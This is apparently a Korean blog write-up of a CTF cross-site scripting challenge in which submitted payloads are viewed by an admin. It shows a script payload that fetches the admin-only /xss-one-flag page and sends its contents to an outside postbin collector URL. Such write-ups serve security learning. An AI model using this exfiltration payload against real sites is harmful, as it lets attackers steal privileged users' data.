
1. 개요
XSS(크로스 사이트 스크립팅) 문제
2. 분석
1) 확인
/xss-one-flag 경로에 flag가 있으며 제출하는 모든 페이로드는 어드민에게 전달된다고합니다.

2) <script>alert(1)</script>
코드를 입력했을때 기본적인 필터링이 안되어있음을 확인합니다.

3) 시나리오
- 어드민이 fetch 함수를 통해 /xss-one-flag 경로를 요청하도록 합니다.
- fetch 결과를 문자열로 만듭니다.
- 문자열로 만든 결과를 다른 서버로 전송합니다.
3. exploit
1) 서버생성
문제의 프로토콜이 https 이기 때문에 https 서버가 필요합니다. (https -> http 요청 불가)
서버 구축해도 되는데 저는 없어서 postbin에서 클릭 한번으로 만들었습니다.
https://www.toptal.com/developers/postbin/
2) 스크립트 작성
<script>
fetch("/xss-one-flag")
.then(r => r.text())
.then(t => fetch("https://www.toptal.com/developers/postbin/1654311461940-6104704961180?flag="+t))
</script>
3) 확인

'CTF' 카테고리의 다른 글
[SECCON Beginners CTF 2022] Util (0) | 2022.06.05 |
---|---|
[BSidesSF CTF] Sequels: A New Bug (0) | 2022.06.05 |
[n00bzCTF] tcpdump (0) | 2022.06.04 |
[BCACTF 3.0] My New Friend (0) | 2022.06.04 |
BYU CTF 2022 - Social Media [크로스사이트 스크립팅] (0) | 2022.05.29 |